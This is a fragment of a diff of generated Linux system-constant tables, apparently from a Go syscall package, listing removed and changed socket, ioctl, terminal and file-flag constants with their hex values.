-- RT_CLASS_DEFAULT = 0xfd
-- RT_CLASS_LOCAL = 0xff
-- RT_CLASS_MAIN = 0xfe
-- RT_CLASS_MAX = 0xff
-- RT_CLASS_UNSPEC = 0x0
-- RUSAGE_CHILDREN = -0x1
-- RUSAGE_SELF = 0x0
-- RUSAGE_THREAD = 0x1
-- SCM_CREDENTIALS = 0x2
-- SCM_RIGHTS = 0x1
-- SCM_TIMESTAMP = 0x1d
-- SCM_TIMESTAMPING = 0x25
-- SCM_TIMESTAMPING_OPT_STATS = 0x36
-- SCM_TIMESTAMPNS = 0x23
-- SCM_WIFI_STATUS = 0x29
-- SECCOMP_MODE_DISABLED = 0x0
-- SECCOMP_MODE_FILTER = 0x2
-- SECCOMP_MODE_STRICT = 0x1
-- SHUT_RD = 0x0
-- SHUT_RDWR = 0x2
-- SHUT_WR = 0x1
-- SIOCADDDLCI = 0x8980
-- SIOCADDMULTI = 0x8931
-- SIOCADDRT = 0x890b
-- SIOCATMARK = 0x8905
-- SIOCBONDCHANGEACTIVE = 0x8995
-- SIOCBONDENSLAVE = 0x8990
-- SIOCBONDINFOQUERY = 0x8994
-- SIOCBONDRELEASE = 0x8991
-- SIOCBONDSETHWADDR = 0x8992
-- SIOCBONDSLAVEINFOQUERY = 0x8993
-- SIOCBRADDBR = 0x89a0
-- SIOCBRADDIF = 0x89a2
-- SIOCBRDELBR = 0x89a1
-- SIOCBRDELIF = 0x89a3
-- SIOCDARP = 0x8953
-- SIOCDELDLCI = 0x8981
-- SIOCDELMULTI = 0x8932
-- SIOCDELRT = 0x890c
-- SIOCDEVPRIVATE = 0x89f0
-- SIOCDIFADDR = 0x8936
-- SIOCDRARP = 0x8960
-- SIOCETHTOOL = 0x8946
-- SIOCGARP = 0x8954
-- SIOCGHWTSTAMP = 0x89b1
-- SIOCGIFADDR = 0x8915
-- SIOCGIFBR = 0x8940
-- SIOCGIFBRDADDR = 0x8919
-- SIOCGIFCONF = 0x8912
-- SIOCGIFCOUNT = 0x8938
-- SIOCGIFDSTADDR = 0x8917
-- SIOCGIFENCAP = 0x8925
-- SIOCGIFFLAGS = 0x8913
-- SIOCGIFHWADDR = 0x8927
-- SIOCGIFINDEX = 0x8933
-- SIOCGIFMAP = 0x8970
-- SIOCGIFMEM = 0x891f
-- SIOCGIFMETRIC = 0x891d
-- SIOCGIFMTU = 0x8921
-- SIOCGIFNAME = 0x8910
-- SIOCGIFNETMASK = 0x891b
-- SIOCGIFPFLAGS = 0x8935
-- SIOCGIFSLAVE = 0x8929
-- SIOCGIFTXQLEN = 0x8942
-- SIOCGIFVLAN = 0x8982
-- SIOCGMIIPHY = 0x8947
-- SIOCGMIIREG = 0x8948
-- SIOCGPGRP = 0x8904
-- SIOCGRARP = 0x8961
-- SIOCGSKNS = 0x894c
-- SIOCGSTAMP = 0x8906
-- SIOCGSTAMPNS = 0x8907
-- SIOCINQ = 0x541b
-- SIOCOUTQ = 0x5411
-- SIOCOUTQNSD = 0x894b
-- SIOCPROTOPRIVATE = 0x89e0
-- SIOCRTMSG = 0x890d
-- SIOCSARP = 0x8955
-- SIOCSHWTSTAMP = 0x89b0
-- SIOCSIFADDR = 0x8916
-- SIOCSIFBR = 0x8941
-- SIOCSIFBRDADDR = 0x891a
-- SIOCSIFDSTADDR = 0x8918
-- SIOCSIFENCAP = 0x8926
-- SIOCSIFFLAGS = 0x8914
-- SIOCSIFHWADDR = 0x8924
-- SIOCSIFHWBROADCAST = 0x8937
-- SIOCSIFLINK = 0x8911
-- SIOCSIFMAP = 0x8971
-- SIOCSIFMEM = 0x8920
-- SIOCSIFMETRIC = 0x891e
-- SIOCSIFMTU = 0x8922
-- SIOCSIFNAME = 0x8923
-- SIOCSIFNETMASK = 0x891c
-- SIOCSIFPFLAGS = 0x8934
-- SIOCSIFSLAVE = 0x8930
-- SIOCSIFTXQLEN = 0x8943
-- SIOCSIFVLAN = 0x8983
-- SIOCSMIIREG = 0x8949
-- SIOCSPGRP = 0x8902
-- SIOCSRARP = 0x8962
-- SIOCWANDEV = 0x894a
-- SOCK_CLOEXEC = 0x80000
-- SOCK_DCCP = 0x6
-- SOCK_DGRAM = 0x2
-- SOCK_IOC_TYPE = 0x89
-- SOCK_NONBLOCK = 0x800
-- SOCK_PACKET = 0xa
-- SOCK_RAW = 0x3
-- SOCK_RDM = 0x4
-- SOCK_SEQPACKET = 0x5
-- SOCK_STREAM = 0x1
-- SOL_AAL = 0x109
-- SOL_ALG = 0x117
-- SOL_ATM = 0x108
-- SOL_CAIF = 0x116
-- SOL_CAN_BASE = 0x64
-- SOL_DCCP = 0x10d
-- SOL_DECNET = 0x105
-- SOL_ICMPV6 = 0x3a
-- SOL_IP = 0x0
-- SOL_IPV6 = 0x29
-- SOL_IRDA = 0x10a
-- SOL_IUCV = 0x115
-- SOL_KCM = 0x119
-- SOL_LLC = 0x10c
-- SOL_NETBEUI = 0x10b
-- SOL_NETLINK = 0x10e
-- SOL_NFC = 0x118
-- SOL_PACKET = 0x107
-- SOL_PNPIPE = 0x113
-- SOL_PPPOL2TP = 0x111
-- SOL_RAW = 0xff
-- SOL_RDS = 0x114
-- SOL_RXRPC = 0x110
-- SOL_SOCKET = 0x1
-- SOL_TCP = 0x6
-- SOL_TIPC = 0x10f
-- SOL_X25 = 0x106
-- SOMAXCONN = 0x80
-- SO_ACCEPTCONN = 0x1e
-- SO_ATTACH_BPF = 0x32
-- SO_ATTACH_FILTER = 0x1a
-- SO_ATTACH_REUSEPORT_CBPF = 0x33
-- SO_ATTACH_REUSEPORT_EBPF = 0x34
-- SO_BINDTODEVICE = 0x19
-- SO_BPF_EXTENSIONS = 0x30
-- SO_BROADCAST = 0x6
-- SO_BSDCOMPAT = 0xe
-- SO_BUSY_POLL = 0x2e
-- SO_CNX_ADVICE = 0x35
-- SO_DEBUG = 0x1
-- SO_DETACH_BPF = 0x1b
-- SO_DETACH_FILTER = 0x1b
-- SO_DOMAIN = 0x27
-- SO_DONTROUTE = 0x5
-- SO_ERROR = 0x4
-- SO_GET_FILTER = 0x1a
-- SO_INCOMING_CPU = 0x31
-- SO_KEEPALIVE = 0x9
-- SO_LINGER = 0xd
-- SO_LOCK_FILTER = 0x2c
-- SO_MARK = 0x24
-- SO_MAX_PACING_RATE = 0x2f
-- SO_NOFCS = 0x2b
-- SO_NO_CHECK = 0xb
-- SO_OOBINLINE = 0xa
-- SO_PASSCRED = 0x10
-- SO_PASSSEC = 0x22
-- SO_PEEK_OFF = 0x2a
-- SO_PEERCRED = 0x11
-- SO_PEERNAME = 0x1c
-- SO_PEERSEC = 0x1f
-- SO_PRIORITY = 0xc
-- SO_PROTOCOL = 0x26
-- SO_RCVBUF = 0x8
-- SO_RCVBUFFORCE = 0x21
-- SO_RCVLOWAT = 0x12
-- SO_RCVTIMEO = 0x14
-- SO_REUSEADDR = 0x2
-- SO_REUSEPORT = 0xf
-- SO_RXQ_OVFL = 0x28
-- SO_SECURITY_AUTHENTICATION = 0x16
-- SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-- SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-- SO_SELECT_ERR_QUEUE = 0x2d
-- SO_SNDBUF = 0x7
-- SO_SNDBUFFORCE = 0x20
-- SO_SNDLOWAT = 0x13
-- SO_SNDTIMEO = 0x15
-- SO_TIMESTAMP = 0x1d
-- SO_TIMESTAMPING = 0x25
-- SO_TIMESTAMPNS = 0x23
-- SO_TYPE = 0x3
-- SO_VM_SOCKETS_BUFFER_MAX_SIZE = 0x2
-- SO_VM_SOCKETS_BUFFER_MIN_SIZE = 0x1
-- SO_VM_SOCKETS_BUFFER_SIZE = 0x0
-- SO_VM_SOCKETS_CONNECT_TIMEOUT = 0x6
-- SO_VM_SOCKETS_NONBLOCK_TXRX = 0x7
-- SO_VM_SOCKETS_PEER_HOST_VM_ID = 0x3
-- SO_VM_SOCKETS_TRUSTED = 0x5
-- SO_WIFI_STATUS = 0x29
-- SPLICE_F_GIFT = 0x8
-- SPLICE_F_MORE = 0x4
-- SPLICE_F_MOVE = 0x1
-- SPLICE_F_NONBLOCK = 0x2
-- S_BLKSIZE = 0x200
-- S_IEXEC = 0x40
-- S_IFBLK = 0x6000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFIFO = 0x1000
-- S_IFLNK = 0xa000
-- S_IFMT = 0xf000
-- S_IFREG = 0x8000
-- S_IFSOCK = 0xc000
-- S_IREAD = 0x100
-- S_IRGRP = 0x20
-- S_IROTH = 0x4
-- S_IRUSR = 0x100
-- S_IRWXG = 0x38
-- S_IRWXO = 0x7
-- S_IRWXU = 0x1c0
-- S_ISGID = 0x400
-- S_ISUID = 0x800
-- S_ISVTX = 0x200
-- S_IWGRP = 0x10
-- S_IWOTH = 0x2
-- S_IWRITE = 0x80
-- S_IWUSR = 0x80
-- S_IXGRP = 0x8
-- S_IXOTH = 0x1
-- S_IXUSR = 0x40
-- TAB0 = 0x0
-- TAB1 = 0x800
-- TAB2 = 0x1000
-- TAB3 = 0x1800
-- TABDLY = 0x1800
-- TASKSTATS_CMD_ATTR_MAX = 0x4
-- TASKSTATS_CMD_MAX = 0x2
-- TASKSTATS_GENL_NAME = "TASKSTATS"
-- TASKSTATS_GENL_VERSION = 0x1
-- TASKSTATS_TYPE_MAX = 0x6
-- TASKSTATS_VERSION = 0x8
-- TCFLSH = 0x540b
-- TCGETA = 0x5405
-- TCGETS = 0x5401
-- TCGETS2 = 0x802c542a
-- TCGETX = 0x5432
-- TCIFLUSH = 0x0
-- TCIOFF = 0x2
-- TCIOFLUSH = 0x2
-- TCION = 0x3
-- TCOFLUSH = 0x1
-- TCOOFF = 0x0
-- TCOON = 0x1
-- TCP_CC_INFO = 0x1a
-- TCP_CONGESTION = 0xd
-- TCP_COOKIE_IN_ALWAYS = 0x1
-- TCP_COOKIE_MAX = 0x10
-- TCP_COOKIE_MIN = 0x8
-- TCP_COOKIE_OUT_NEVER = 0x2
-- TCP_COOKIE_PAIR_SIZE = 0x20
-- TCP_COOKIE_TRANSACTIONS = 0xf
-- TCP_CORK = 0x3
-- TCP_DEFER_ACCEPT = 0x9
-- TCP_FASTOPEN = 0x17
-- TCP_INFO = 0xb
-- TCP_KEEPCNT = 0x6
-- TCP_KEEPIDLE = 0x4
-- TCP_KEEPINTVL = 0x5
-- TCP_LINGER2 = 0x8
-- TCP_MAXSEG = 0x2
-- TCP_MAXWIN = 0xffff
-- TCP_MAX_WINSHIFT = 0xe
-- TCP_MD5SIG = 0xe
-- TCP_MD5SIG_MAXKEYLEN = 0x50
-- TCP_MSS = 0x200
-- TCP_MSS_DEFAULT = 0x218
-- TCP_MSS_DESIRED = 0x4c4
-- TCP_NODELAY = 0x1
-- TCP_NOTSENT_LOWAT = 0x19
-- TCP_QUEUE_SEQ = 0x15
-- TCP_QUICKACK = 0xc
-- TCP_REPAIR = 0x13
-- TCP_REPAIR_OPTIONS = 0x16
-- TCP_REPAIR_QUEUE = 0x14
-- TCP_REPAIR_WINDOW = 0x1d
-- TCP_SAVED_SYN = 0x1c
-- TCP_SAVE_SYN = 0x1b
-- TCP_SYNCNT = 0x7
-- TCP_S_DATA_IN = 0x4
-- TCP_S_DATA_OUT = 0x8
-- TCP_THIN_DUPACK = 0x11
-- TCP_THIN_LINEAR_TIMEOUTS = 0x10
-- TCP_TIMESTAMP = 0x18
-- TCP_USER_TIMEOUT = 0x12
-- TCP_WINDOW_CLAMP = 0xa
-- TCSAFLUSH = 0x2
-- TCSBRK = 0x5409
-- TCSBRKP = 0x5425
-- TCSETA = 0x5406
-- TCSETAF = 0x5408
-- TCSETAW = 0x5407
-- TCSETS = 0x5402
-- TCSETS2 = 0x402c542b
-- TCSETSF = 0x5404
-- TCSETSF2 = 0x402c542d
-- TCSETSW = 0x5403
-- TCSETSW2 = 0x402c542c
-- TCSETX = 0x5433
-- TCSETXF = 0x5434
-- TCSETXW = 0x5435
-- TCXONC = 0x540a
-- TIOCCBRK = 0x5428
-- TIOCCONS = 0x541d
-- TIOCEXCL = 0x540c
-- TIOCGDEV = 0x80045432
-- TIOCGETD = 0x5424
-- TIOCGEXCL = 0x80045440
-- TIOCGICOUNT = 0x545d
-- TIOCGLCKTRMIOS = 0x5456
-- TIOCGPGRP = 0x540f
-- TIOCGPKT = 0x80045438
-- TIOCGPTLCK = 0x80045439
-- TIOCGPTN = 0x80045430
-- TIOCGRS485 = 0x542e
-- TIOCGSERIAL = 0x541e
-- TIOCGSID = 0x5429
-- TIOCGSOFTCAR = 0x5419
-- TIOCGWINSZ = 0x5413
-- TIOCINQ = 0x541b
-- TIOCLINUX = 0x541c
-- TIOCMBIC = 0x5417
-- TIOCMBIS = 0x5416
-- TIOCMGET = 0x5415
-- TIOCMIWAIT = 0x545c
-- TIOCMSET = 0x5418
-- TIOCM_CAR = 0x40
-- TIOCM_CD = 0x40
-- TIOCM_CTS = 0x20
-- TIOCM_DSR = 0x100
-- TIOCM_DTR = 0x2
-- TIOCM_LE = 0x1
-- TIOCM_RI = 0x80
-- TIOCM_RNG = 0x80
-- TIOCM_RTS = 0x4
-- TIOCM_SR = 0x10
-- TIOCM_ST = 0x8
-- TIOCNOTTY = 0x5422
-- TIOCNXCL = 0x540d
-- TIOCOUTQ = 0x5411
-- TIOCPKT = 0x5420
-- TIOCPKT_DATA = 0x0
-- TIOCPKT_DOSTOP = 0x20
-- TIOCPKT_FLUSHREAD = 0x1
-- TIOCPKT_FLUSHWRITE = 0x2
-- TIOCPKT_IOCTL = 0x40
-- TIOCPKT_NOSTOP = 0x10
-- TIOCPKT_START = 0x8
-- TIOCPKT_STOP = 0x4
-- TIOCSBRK = 0x5427
-- TIOCSCTTY = 0x540e
-- TIOCSERCONFIG = 0x5453
-- TIOCSERGETLSR = 0x5459
-- TIOCSERGETMULTI = 0x545a
-- TIOCSERGSTRUCT = 0x5458
-- TIOCSERGWILD = 0x5454
-- TIOCSERSETMULTI = 0x545b
-- TIOCSERSWILD = 0x5455
-- TIOCSER_TEMT = 0x1
-- TIOCSETD = 0x5423
-- TIOCSIG = 0x40045436
-- TIOCSLCKTRMIOS = 0x5457
-- TIOCSPGRP = 0x5410
-- TIOCSPTLCK = 0x40045431
-- TIOCSRS485 = 0x542f
-- TIOCSSERIAL = 0x541f
-- TIOCSSOFTCAR = 0x541a
-- TIOCSTI = 0x5412
-- TIOCSWINSZ = 0x5414
-- TIOCVHANGUP = 0x5437
-- TOSTOP = 0x100
-- TS_COMM_LEN = 0x20
-- TUNATTACHFILTER = 0x401054d5
-- TUNDETACHFILTER = 0x401054d6
-- TUNGETFEATURES = 0x800454cf
-- TUNGETFILTER = 0x801054db
-- TUNGETIFF = 0x800454d2
-- TUNGETSNDBUF = 0x800454d3
-- TUNGETVNETBE = 0x800454df
-- TUNGETVNETHDRSZ = 0x800454d7
-- TUNGETVNETLE = 0x800454dd
-- TUNSETDEBUG = 0x400454c9
-- TUNSETGROUP = 0x400454ce
-- TUNSETIFF = 0x400454ca
-- TUNSETIFINDEX = 0x400454da
-- TUNSETLINK = 0x400454cd
-- TUNSETNOCSUM = 0x400454c8
-- TUNSETOFFLOAD = 0x400454d0
-- TUNSETOWNER = 0x400454cc
-- TUNSETPERSIST = 0x400454cb
-- TUNSETQUEUE = 0x400454d9
-- TUNSETSNDBUF = 0x400454d4
-- TUNSETTXFILTER = 0x400454d1
-- TUNSETVNETBE = 0x400454de
-- TUNSETVNETHDRSZ = 0x400454d8
-- TUNSETVNETLE = 0x400454dc
-- UMOUNT_NOFOLLOW = 0x8
-- VDISCARD = 0xd
-- VEOF = 0x4
-- VEOL = 0xb
-- VEOL2 = 0x10
-- VERASE = 0x2
-- VINTR = 0x0
-- VKILL = 0x3
-- VLNEXT = 0xf
-- VMADDR_CID_ANY = 0xffffffff
-- VMADDR_CID_HOST = 0x2
-- VMADDR_CID_HYPERVISOR = 0x0
-- VMADDR_CID_RESERVED = 0x1
-- VMADDR_PORT_ANY = 0xffffffff
-- VMIN = 0x6
-- VM_SOCKETS_INVALID_VERSION = 0xffffffff
-- VQUIT = 0x1
-- VREPRINT = 0xc
-- VSTART = 0x8
-- VSTOP = 0x9
-- VSUSP = 0xa
-- VSWTC = 0x7
-- VT0 = 0x0
-- VT1 = 0x4000
-- VTDLY = 0x4000
-- VTIME = 0x5
-- VWERASE = 0xe
-- WALL = 0x40000000
-- WCLONE = 0x80000000
-- WCONTINUED = 0x8
-- WEXITED = 0x4
-- WNOHANG = 0x1
-- WNOTHREAD = 0x20000000
-- WNOWAIT = 0x1000000
-- WORDSIZE = 0x40
-- WSTOPPED = 0x2
-- WUNTRACED = 0x2
-- XATTR_CREATE = 0x1
-- XATTR_REPLACE = 0x2
-- XCASE = 0x4
-- XTABS = 0x1800
-+ B1000000 = 0x1008
-+ B115200 = 0x1002
-+ B1152000 = 0x1009
-+ B1500000 = 0x100a
-+ B2000000 = 0x100b
-+ B230400 = 0x1003
-+ B2500000 = 0x100c
-+ B3000000 = 0x100d
-+ B3500000 = 0x100e
-+ B4000000 = 0x100f
-+ B460800 = 0x1004
-+ B500000 = 0x1005
-+ B57600 = 0x1001
-+ B576000 = 0x1006
-+ B921600 = 0x1007
-+ BLKBSZGET = 0x80081270
-+ BLKBSZSET = 0x40081271
-+ BLKFLSBUF = 0x1261
-+ BLKFRAGET = 0x1265
-+ BLKFRASET = 0x1264
-+ BLKGETSIZE = 0x1260
-+ BLKGETSIZE64 = 0x80081272
-+ BLKPBSZGET = 0x127b
-+ BLKRAGET = 0x1263
-+ BLKRASET = 0x1262
-+ BLKROGET = 0x125e
-+ BLKROSET = 0x125d
-+ BLKRRPART = 0x125f
-+ BLKSECTGET = 0x1267
-+ BLKSECTSET = 0x1266
-+ BLKSSZGET = 0x1268
-+ BOTHER = 0x1000
-+ BS1 = 0x2000
-+ BSDLY = 0x2000
-+ CBAUD = 0x100f
-+ CBAUDEX = 0x1000
-+ CIBAUD = 0x100f0000
-+ CLOCAL = 0x800
-+ CR1 = 0x200
-+ CR2 = 0x400
-+ CR3 = 0x600
-+ CRDLY = 0x600
-+ CREAD = 0x80
-+ CS6 = 0x10
-+ CS7 = 0x20
-+ CS8 = 0x30
-+ CSIZE = 0x30
-+ CSTOPB = 0x40
-+ ECHOCTL = 0x200
-+ ECHOE = 0x10
-+ ECHOK = 0x20
-+ ECHOKE = 0x800
-+ ECHONL = 0x40
-+ ECHOPRT = 0x400
-+ EFD_CLOEXEC = 0x80000
-+ EFD_NONBLOCK = 0x800
-+ EPOLL_CLOEXEC = 0x80000
-+ ESR_MAGIC = 0x45535201
-+ EXTPROC = 0x10000
-+ EXTRA_MAGIC = 0x45585401
-+ FF1 = 0x8000
-+ FFDLY = 0x8000
-+ FLUSHO = 0x1000
-+ FPSIMD_MAGIC = 0x46508001
-+ FS_IOC_ENABLE_VERITY = 0x40806685
-+ FS_IOC_GETFLAGS = 0x80086601
-+ FS_IOC_GET_ENCRYPTION_POLICY = 0x400c6615
-+ FS_IOC_GET_ENCRYPTION_PWSALT = 0x40106614
-+ FS_IOC_SET_ENCRYPTION_POLICY = 0x800c6613
-+ F_GETLK = 0x5
-+ F_GETLK64 = 0x5
-+ F_GETOWN = 0x9
-+ F_RDLCK = 0x0
-+ F_SETLK = 0x6
-+ F_SETLK64 = 0x6
-+ F_SETLKW = 0x7
-+ F_SETLKW64 = 0x7
-+ F_SETOWN = 0x8
-+ F_UNLCK = 0x2
-+ F_WRLCK = 0x1
-+ HUPCL = 0x400
-+ ICANON = 0x2
-+ IEXTEN = 0x8000
-+ IN_CLOEXEC = 0x80000
-+ IN_NONBLOCK = 0x800
-+ IOCTL_VM_SOCKETS_GET_LOCAL_CID = 0x7b9
-+ ISIG = 0x1
-+ IUCLC = 0x200
-+ IXOFF = 0x1000
-+ IXON = 0x400
-+ MAP_ANON = 0x20
-+ MAP_ANONYMOUS = 0x20
-+ MAP_DENYWRITE = 0x800
-+ MAP_EXECUTABLE = 0x1000
-+ MAP_GROWSDOWN = 0x100
-+ MAP_HUGETLB = 0x40000
-+ MAP_LOCKED = 0x2000
-+ MAP_NONBLOCK = 0x10000
-+ MAP_NORESERVE = 0x4000
-+ MAP_POPULATE = 0x8000
-+ MAP_STACK = 0x20000
-+ MAP_SYNC = 0x80000
-+ MCL_CURRENT = 0x1
-+ MCL_FUTURE = 0x2
-+ MCL_ONFAULT = 0x4
-+ NFDBITS = 0x40
-+ NLDLY = 0x100
-+ NOFLSH = 0x80
-+ NS_GET_NSTYPE = 0xb703
-+ NS_GET_OWNER_UID = 0xb704
-+ NS_GET_PARENT = 0xb702
-+ NS_GET_USERNS = 0xb701
-+ OLCUC = 0x2
-+ ONLCR = 0x4
-+ O_APPEND = 0x400
-+ O_ASYNC = 0x2000
-+ O_CLOEXEC = 0x80000
-+ O_CREAT = 0x40
-+ O_DIRECT = 0x10000
-+ O_DIRECTORY = 0x4000
-+ O_DSYNC = 0x1000
-+ O_EXCL = 0x80
-+ O_FSYNC = 0x101000
-+ O_LARGEFILE = 0x0
-+ O_NDELAY = 0x800
-+ O_NOATIME = 0x40000
-+ O_NOCTTY = 0x100
-+ O_NOFOLLOW = 0x8000
-+ O_NONBLOCK = 0x800
-+ O_PATH = 0x200000
-+ O_RSYNC = 0x101000
-+ O_SYNC = 0x101000
-+ O_TMPFILE = 0x404000
-+ O_TRUNC = 0x200
-+ PARENB = 0x100
-+ PARODD = 0x200
-+ PENDIN = 0x4000
-+ PERF_EVENT_IOC_DISABLE = 0x2401
-+ PERF_EVENT_IOC_ENABLE = 0x2400
-+ PERF_EVENT_IOC_ID = 0x80082407
-+ PERF_EVENT_IOC_MODIFY_ATTRIBUTES = 0x4008240b
-+ PERF_EVENT_IOC_PAUSE_OUTPUT = 0x40042409
-+ PERF_EVENT_IOC_PERIOD = 0x40082404
-+ PERF_EVENT_IOC_QUERY_BPF = 0xc008240a
-+ PERF_EVENT_IOC_REFRESH = 0x2402
-+ PERF_EVENT_IOC_RESET = 0x2403
-+ PERF_EVENT_IOC_SET_BPF = 0x40042408
-+ PERF_EVENT_IOC_SET_FILTER = 0x40082406
-+ PERF_EVENT_IOC_SET_OUTPUT = 0x2405
-+ PPPIOCATTACH = 0x4004743d
-+ PPPIOCATTCHAN = 0x40047438
-+ PPPIOCCONNECT = 0x4004743a
-+ PPPIOCDETACH = 0x4004743c
-+ PPPIOCDISCONN = 0x7439
-+ PPPIOCGASYNCMAP = 0x80047458
-+ PPPIOCGCHAN = 0x80047437
-+ PPPIOCGDEBUG = 0x80047441
-+ PPPIOCGFLAGS = 0x8004745a
-+ PPPIOCGIDLE = 0x8010743f
-+ PPPIOCGIDLE32 = 0x8008743f
-+ PPPIOCGIDLE64 = 0x8010743f
-+ PPPIOCGL2TPSTATS = 0x80487436
-+ PPPIOCGMRU = 0x80047453
-+ PPPIOCGRASYNCMAP = 0x80047455
-+ PPPIOCGUNIT = 0x80047456
-+ PPPIOCGXASYNCMAP = 0x80207450
-+ PPPIOCSACTIVE = 0x40107446
-+ PPPIOCSASYNCMAP = 0x40047457
-+ PPPIOCSCOMPRESS = 0x4010744d
-+ PPPIOCSDEBUG = 0x40047440
-+ PPPIOCSFLAGS = 0x40047459
-+ PPPIOCSMAXCID = 0x40047451
-+ PPPIOCSMRRU = 0x4004743b
-+ PPPIOCSMRU = 0x40047452
-+ PPPIOCSNPMODE = 0x4008744b
-+ PPPIOCSPASS = 0x40107447
-+ PPPIOCSRASYNCMAP = 0x40047454
-+ PPPIOCSXASYNCMAP = 0x4020744f
-+ PPPIOCXFERUNIT = 0x744e
-+ PR_SET_PTRACER_ANY = 0xffffffffffffffff
-+ PTRACE_SYSEMU = 0x1f
-+ PTRACE_SYSEMU_SINGLESTEP = 0x20
-+ RLIMIT_AS = 0x9
-+ RLIMIT_MEMLOCK = 0x8
-+ RLIMIT_NOFILE = 0x7
-+ RLIMIT_NPROC = 0x6
-+ RLIMIT_RSS = 0x5
-+ RNDADDENTROPY = 0x40085203
-+ RNDADDTOENTCNT = 0x40045201
-+ RNDCLEARPOOL = 0x5206
-+ RNDGETENTCNT = 0x80045200
-+ RNDGETPOOL = 0x80085202
-+ RNDRESEEDCRNG = 0x5207
-+ RNDZAPENTCNT = 0x5204
-+ RTC_AIE_OFF = 0x7002
-+ RTC_AIE_ON = 0x7001
-+ RTC_ALM_READ = 0x80247008
-+ RTC_ALM_SET = 0x40247007
-+ RTC_EPOCH_READ = 0x8008700d
-+ RTC_EPOCH_SET = 0x4008700e
-+ RTC_IRQP_READ = 0x8008700b
-+ RTC_IRQP_SET = 0x4008700c
-+ RTC_PIE_OFF = 0x7006
-+ RTC_PIE_ON = 0x7005
-+ RTC_PLL_GET = 0x80207011
-+ RTC_PLL_SET = 0x40207012
-+ RTC_RD_TIME = 0x80247009
-+ RTC_SET_TIME = 0x4024700a
-+ RTC_UIE_OFF = 0x7004
-+ RTC_UIE_ON = 0x7003
-+ RTC_VL_CLR = 0x7014
-+ RTC_VL_READ = 0x80047013
-+ RTC_WIE_OFF = 0x7010
-+ RTC_WIE_ON = 0x700f
-+ RTC_WKALM_RD = 0x80287010
-+ RTC_WKALM_SET = 0x4028700f
-+ SCM_TIMESTAMPING = 0x25
-+ SCM_TIMESTAMPING_OPT_STATS = 0x36
-+ SCM_TIMESTAMPING_PKTINFO = 0x3a
-+ SCM_TIMESTAMPNS = 0x23
-+ SCM_TXTIME = 0x3d
-+ SCM_WIFI_STATUS = 0x29
-+ SFD_CLOEXEC = 0x80000
-+ SFD_NONBLOCK = 0x800
-+ SIOCATMARK = 0x8905
-+ SIOCGPGRP = 0x8904
-+ SIOCGSTAMPNS_NEW = 0x80108907
-+ SIOCGSTAMP_NEW = 0x80108906
-+ SIOCINQ = 0x541b
-+ SIOCOUTQ = 0x5411
-+ SIOCSPGRP = 0x8902
-+ SOCK_CLOEXEC = 0x80000
-+ SOCK_DGRAM = 0x2
-+ SOCK_NONBLOCK = 0x800
-+ SOCK_STREAM = 0x1
-+ SOL_SOCKET = 0x1
-+ SO_ACCEPTCONN = 0x1e
-+ SO_ATTACH_BPF = 0x32
-+ SO_ATTACH_REUSEPORT_CBPF = 0x33
-+ SO_ATTACH_REUSEPORT_EBPF = 0x34
-+ SO_BINDTODEVICE = 0x19
-+ SO_BINDTOIFINDEX = 0x3e
-+ SO_BPF_EXTENSIONS = 0x30
-+ SO_BROADCAST = 0x6
-+ SO_BSDCOMPAT = 0xe
-+ SO_BUSY_POLL = 0x2e
-+ SO_CNX_ADVICE = 0x35
-+ SO_COOKIE = 0x39
-+ SO_DETACH_REUSEPORT_BPF = 0x44
-+ SO_DOMAIN = 0x27
-+ SO_DONTROUTE = 0x5
-+ SO_ERROR = 0x4
-+ SO_INCOMING_CPU = 0x31
-+ SO_INCOMING_NAPI_ID = 0x38
-+ SO_KEEPALIVE = 0x9
-+ SO_LINGER = 0xd
-+ SO_LOCK_FILTER = 0x2c
-+ SO_MARK = 0x24
-+ SO_MAX_PACING_RATE = 0x2f
-+ SO_MEMINFO = 0x37
-+ SO_NOFCS = 0x2b
-+ SO_OOBINLINE = 0xa
-+ SO_PASSCRED = 0x10
-+ SO_PASSSEC = 0x22
-+ SO_PEEK_OFF = 0x2a
-+ SO_PEERCRED = 0x11
-+ SO_PEERGROUPS = 0x3b
-+ SO_PEERSEC = 0x1f
-+ SO_PROTOCOL = 0x26
-+ SO_RCVBUF = 0x8
-+ SO_RCVBUFFORCE = 0x21
-+ SO_RCVLOWAT = 0x12
-+ SO_RCVTIMEO = 0x14
-+ SO_RCVTIMEO_NEW = 0x42
-+ SO_RCVTIMEO_OLD = 0x14
-+ SO_REUSEADDR = 0x2
-+ SO_REUSEPORT = 0xf
-+ SO_RXQ_OVFL = 0x28
-+ SO_SECURITY_AUTHENTICATION = 0x16
-+ SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-+ SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-+ SO_SELECT_ERR_QUEUE = 0x2d
-+ SO_SNDBUF = 0x7
-+ SO_SNDBUFFORCE = 0x20
-+ SO_SNDLOWAT = 0x13
-+ SO_SNDTIMEO = 0x15
-+ SO_SNDTIMEO_NEW = 0x43
-+ SO_SNDTIMEO_OLD = 0x15
-+ SO_TIMESTAMPING = 0x25
-+ SO_TIMESTAMPING_NEW = 0x41
-+ SO_TIMESTAMPING_OLD = 0x25
-+ SO_TIMESTAMPNS = 0x23
-+ SO_TIMESTAMPNS_NEW = 0x40
-+ SO_TIMESTAMPNS_OLD = 0x23
-+ SO_TIMESTAMP_NEW = 0x3f
-+ SO_TXTIME = 0x3d
-+ SO_TYPE = 0x3
-+ SO_WIFI_STATUS = 0x29
-+ SO_ZEROCOPY = 0x3c
-+ SVE_MAGIC = 0x53564501
-+ TAB1 = 0x800
-+ TAB2 = 0x1000
-+ TAB3 = 0x1800
-+ TABDLY = 0x1800
-+ TCFLSH = 0x540b
-+ TCGETA = 0x5405
-+ TCGETS = 0x5401
-+ TCGETS2 = 0x802c542a
-+ TCGETX = 0x5432
-+ TCSAFLUSH = 0x2
-+ TCSBRK = 0x5409
-+ TCSBRKP = 0x5425
-+ TCSETA = 0x5406
-+ TCSETAF = 0x5408
-+ TCSETAW = 0x5407
-+ TCSETS = 0x5402
-+ TCSETS2 = 0x402c542b
-+ TCSETSF = 0x5404
-+ TCSETSF2 = 0x402c542d
-+ TCSETSW = 0x5403
-+ TCSETSW2 = 0x402c542c
-+ TCSETX = 0x5433
-+ TCSETXF = 0x5434
-+ TCSETXW = 0x5435
-+ TCXONC = 0x540a
-+ TIOCCBRK = 0x5428
-+ TIOCCONS = 0x541d
-+ TIOCEXCL = 0x540c
-+ TIOCGDEV = 0x80045432
